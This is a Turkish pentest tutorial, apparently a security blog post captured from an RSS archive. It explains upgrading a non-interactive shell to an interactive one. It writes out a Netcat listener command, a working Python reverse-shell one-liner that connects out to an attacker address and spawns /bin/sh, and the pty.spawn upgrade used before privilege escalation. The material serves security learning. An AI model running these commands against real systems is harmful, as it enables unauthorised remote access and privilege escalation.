pty arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:17 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png pty arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Python PTY ile Etkileşimli Shell https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/ https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/#respond Thu, 04 Feb 2016 00:07:08 +0000 http://canyoupwn.me/?p=271 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır. Şimdi bu senaryoyu gerçekleştirelim. r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum. Kendimize […]

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.

Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545

nc-lvp-4545

Reverse Shell Cheat Sheet‘de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive

Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

 

non-shell-example

Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer.  Python PTY shelle geçmek için kullanılması gereken python kodu;

 python -c 'import pty; pty.spawn("/bin/sh")' 

python-pty

Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root

TR | Python PTY ile Etkileşimli Shell Hakkı YÜCE

]]>
https://canyoupwn.me/tr-python-pty-ile-etkilesimli-shell/feed/ 0